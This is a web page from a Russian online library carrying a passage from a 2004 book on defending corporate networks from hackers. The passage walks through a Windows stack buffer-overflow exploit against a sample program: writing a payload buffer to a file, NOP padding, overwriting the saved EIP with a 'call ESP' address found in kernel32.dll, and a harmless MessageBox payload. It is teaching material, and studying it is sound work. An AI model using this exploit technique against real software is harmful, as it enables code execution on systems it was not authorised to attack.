Kniga-Online.club
» » » » Коллектив авторов - Защита от хакеров корпоративных сетей

Коллектив авторов - Защита от хакеров корпоративных сетей

Читать бесплатно Коллектив авторов - Защита от хакеров корпоративных сетей. Жанр: Прочая околокомпьютерная литература издательство неизвестно, год 2004. Так же читаем полные версии (весь текст) онлайн без регистрации и SMS на сайте kniga-online.club или прочесть краткое содержание, предисловие (аннотацию), описание и ознакомиться с отзывами (комментариями) о произведении.
Перейти на страницу:

Средства записи в файл в Windows NT довольно просты. Для открытия файла, записи в него и закрытия файла в программе были использованы функции программного интерфейса приложения API CreateFile(), WriteFile() и CloseHandle(). Буфер writeme предусмотрен для хранения программы переполнения буфера.

Пример фрагмента программы для открытия файла и записи в него данных приведен ниже:

//open the file

file=CreateFile(“badfile”,GENERIC_ALL,0,NULL,OPEN_ALWAYS,

FILE_ATTRIBUTE_NORMAL,NULL);

//write our shellcode to the file

WriteFile(file,writeme,65,&written,NULL);

CloseHandle(file);

Запись программы переполнения буфера. Из описания уязвимой к переполнению буфера программы ясно, что для подмены содержимого регистра EIP следует изменить в буфере первые 16 байт данных, где первые 8 байт содержат данные, последующие 4 байта – сохраненное в стеке содержимого регистра EBP и еще 4 байта – сохраненное значение регистра EIP. Другими словами, в буфер должно быть записано 12 байт информации. Было решено записывать шестнадцатеричный эквивалент двенадцати команд процессора Intel nop, то есть 12 байт 0x90. На первый взгляд это похоже на способ использования последовательности команд nop, но это не совсем так, поскольку на сей раз можно определить точный адрес перехода и, следовательно, нет необходимости выполнять ничего не делающие команды. В данном случае последовательность команд nop является заполнителем буфера, которым в стеке перезаписывается буфер данных и сохраненное содержимое регистра EBP. Для заполнения первых 12 байт буфера байтом 0x90 используется функция memset() из библиотеки функций языка С.

memset(writeme,0x90,12); //set my local string to nops

Поиск точки перехода. После подготовки буфера следует найти подходящую точку перехода. Уже упоминалось о многочисленных способах загрузки в регистр EIP указателя на нужную программу. Обычно для этого в отладчике устанавливается точка прерывания перед выполнением команды ret и анализируется содержимое регистров. Например, содержимое регистров в точке прерывания может быть следующим:

EAX = 00000001 EBX = 7FFDF000

ECX = 00423AF8 EDX = 00000000

ESI = 00000000 EDI = 0012FF80

ESP = 0012FF30 EBP = 90909090

Перед командой ret регистр ESP указывает на область в стеке, расположенную следом за областью сохранения содержимого регистра EIP. После того как команда ret продвинет содержимое регистра ESP на 4, он станет указывать на область памяти, из которой этой же командой ret будет восстановлено значение регистра EIP. После восстановления EIP процессор выполнит команду, адрес которой совпадает с содержимым регистра EIP. Это означает, что если с помощью регистра ESP в EIP будет загружен нужный адрес, то с него продолжится выполнение программы. Отметим также, что после восстановления регистра EBP в эпилоге функции в регистр было загружено 4 байта заполнителя буфера 0x90.

Теперь найдем в выполнимом коде уязвимой программы команды, которые позволили бы с помощью регистра ESP загрузить нужный адрес в регистр EIP. Для этого воспользуемся программой findjmp. Для большей эффективности поиска потенциально уязвимых частей кода рекомендуется определить импортированные в программу динамически подключаемые библиотеки DLL и исследовать их выполнимый код. Для этого можно воспользоваться входящей в состав Visual Studio программой depends.exe или утилитой dumpbin.exe.

Воспользуемся более простой утилитой dumpbin, с помощью которой можно быстро получить всю интересующую нас информацию. Для этого в командной строке введем следующее:

dumpbin /imports samp4.exe

Microsoft (R) COFF Binary File Dumper Version 5.12.8078

Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

Dump of file samp4.exe

File Type: EXECUTABLE IMAGE

Section contains the following imports:

KERNEL32.dll

426148 Import Address Table

426028 Import Name Table

0 time date stamp

0 Index of first forwarder reference

26D SetHandleCount

174 GetVersion

7D ExitProcess

1B8 IsBadWritePtr

1B5 IsBadReadPtr

1A7 HeapValidate

11A GetLastError

1B CloseHandle

51 DebugBreak

152 GetStdHandle

2DF WriteFile

1AD InterlockedDecrement

1F5 OutputDebugStringA

13E GetProcAddress

1C2 LoadLibraryA

1B0 InterlockedIncrement

124 GetModuleFileNameA

218 ReadFile

29E TerminateProcess

F7 GetCurrentProcess

2AD UnhandledExceptionFilter

B2 FreeEnvironmentStringsA

B3 FreeEnvironmentStringsW

2D2 WideCharToMultiByte

106 GetEnvironmentStrings

108 GetEnvironmentStringsW

CA GetCommandLineA

115 GetFileType

150 GetStartupInfoA

19D HeapDestroy

19B HeapCreate

19F HeapFree

2BF VirtualFree

22F RtlUnwind

199 HeapAlloc

1A2 HeapReAlloc

2BB VirtualAlloc

27C SetStdHandle

AA FlushFileBuffers

241 SetConsoleCtrlHandler

26A SetFilePointer

34 CreateFileA

BF GetCPInfo

B9 GetACP

131 GetOEMCP

1E4 MultiByteToWideChar

153 GetStringTypeA

156 GetStringTypeW

261 SetEndOfFile

1BF LCMapStringA

1C0 LCMapStringW

Summary

3000 .data

1000 .idata

2000 .rdata

1000 .reloc

20000 .text

В результате просмотра отчета работы утилиты dumpbin.exe выясняется, что в уязвимую программу samp4.exe встроена единственная динамически подключаемая библиотека DLL – kernel32.dll. Несмотря на многочисленные ссылки в библиотеке kernel32.dll на другие библиотеки, пока для поиска подходящей точки перехода достаточно kernel32.dll.

Поиск выполним с помощью программы findjmp, которая найдет в двоичном коде динамически подключаемой библиотеки kernel32.dll потенциальные точки перехода с использованием регистра ESP. Для этого вызовем программу findjmp следующим образом:

findjmp kernel32.dll ESP

Программа выдаст такой отчет:

Scanning kernel32.dll for code useable with the ESP register

0x77E8250A call ESP

Finished Scanning kernel32.dll for code useable with the ESP

register

Found 1 usable addresses

Подменив перед командой ret сохраненное в стеке значение регистра EIP на значение 0x77E8250A, по команде ret это значение (адрес команды call ESP) будет загружено в указатель команд EIP. Процессор выполнит команду call ESP, которая передаст управление по содержимому регистра ESP, то есть в область стека c программным кодом полезной нагрузки. В программе переполнения буфера адрес точки перехода определяется следующим образом:

DWORD EIP=0x77E8250A; // a pointer to a

//call ESP in KERNEL32.dll

//found with findjmp.c

После этого адрес записывается в буфер writeme после 12 байт заполнителя: memcpy(writeme+12,&EIP,4); //overwrite EIP here Запись программного кода полезной нагрузки. Наконец пришло время написать программный код полезной нагрузки и средства его загрузки. Поскольку он демонстрирует основные положения переполнения буфера, то код очень прост: программа выводит окно сообщений с приветствием «HI». Обычно рекомендуется написать прототип программного кода полезной нагрузки на языке C, а затем преобразовывать его в ассемблерный код. Прототип программного кода полезной нагрузки на языке C выводит окно сообщений с помощью функции MessageBox():

MessageBox (NULL, “hi”, NULL, MB_OK);

Для преобразования прототипа программного кода полезной нагрузки на языке C в код ассемблера воспользуемся дизассемблером или отладчиком. Прежде всего следует решить, как вызвать экспортируемую из динамически подключаемой библиотеки user32.dll функцию MessageBox(). Нельзя надеяться на то, что библиотека user32.dll будет импортирована в уязвимую программу, поэтому следует предусмотреть ее загрузку с помощью функции LoadLibraryA(). Функция LoadLibraryA() используется на платформах Win32 для загрузки динамически подключаемых библиотек DLL в память процесса. Данная функция экспортируется из библиотеки kernel32.dll, которая уже связана с атакуемой программой. Об этом говорит отчет работы утилиты dumpbin. Итак, в прототипе программного кода полезной нагрузки на языке C сначала следует загрузить динамически подключаемую библиотеку user32.dll, а затем вызвать функцию MessageBox(). После внесения необходимых дополнений прототип выглядит так:

LoadLibraryA(“User32”); MessageBox(NULL, “hi”, NULL, MB_OK);

Функция LoadLibraryA() по умолчанию подразумевает расширение имени динамически подключаемой библиотеки «.dll», поэтому имя библиотеки user32.dll указано без расширения. Это позволит уменьшить размер программного кода полезной нагрузки на 4 байта.

Теперь вместе с программой будет загружена динамически подключаемая библиотека user32.dll, а значит, и код функции MessageBox(). Тем самым будут обеспечены все функциональные возможности для успешной работы программного кода полезной нагрузки.

Последнее, на что следует обратить внимание. После передачи управления программному коду полезной нагрузки и его выполнения атакованная программа, вероятнее всего, завершится аварийно, поскольку она попытается выполнить данные стека после кода полезной нагрузки. Это нехорошо. Поэтому процесс должен быть завершен функцией ExitProcess(). В результате заключительный исходный текст прототипа программного кода полезной нагрузки на языке C перед преобразованием в код ассемблера приобретает следующий вид:

LoadLibraryA(“User32”);

MessageBox(NULL, “hi”, NULL, MB_OK);

ExitProcess(1);

Для преобразования прототипа программного кода полезной нагрузки на языке C в код ассемблера воспользуемся встроенным ассемблером компилятора Visual C, а затем перенесем результат трансляции в буфер BYTE.

Вместо того чтобы в этом месте привести пример соответствующего программного кода ассемблера, будет лучше, если читатель просмотрит приведенный ниже пример программы переполнения буфера, в которой создается файл, инициализируется заполнителем буфер, определяется точка перехода, в буфер записывается программный код полезной загрузки и, наконец, буфер выгружается в файл.

Перейти на страницу:

Коллектив авторов читать все книги автора по порядку

Коллектив авторов - все книги автора в одном месте читать по порядку полные версии на сайте онлайн библиотеки kniga-online.club.


Защита от хакеров корпоративных сетей отзывы

Отзывы читателей о книге Защита от хакеров корпоративных сетей, автор: Коллектив авторов. Читайте комментарии и мнения людей о произведении.


Уважаемые читатели и просто посетители нашей библиотеки! Просим Вас придерживаться определенных правил при комментировании литературных произведений.

  • 1. Просьба отказаться от дискриминационных высказываний. Мы защищаем право наших читателей свободно выражать свою точку зрения. Вместе с тем мы не терпим агрессии. На сайте запрещено оставлять комментарий, который содержит унизительные высказывания или призывы к насилию по отношению к отдельным лицам или группам людей на основании их расы, этнического происхождения, вероисповедания, недееспособности, пола, возраста, статуса ветерана, касты или сексуальной ориентации.
  • 2. Просьба отказаться от оскорблений, угроз и запугиваний.
  • 3. Просьба отказаться от нецензурной лексики.
  • 4. Просьба вести себя максимально корректно как по отношению к авторам, так и по отношению к другим читателям и их комментариям.

Надеемся на Ваше понимание и благоразумие. С уважением, администратор kniga-online.


Прокомментировать
Подтвердите что вы не робот:*
Подтвердите что вы не робот:*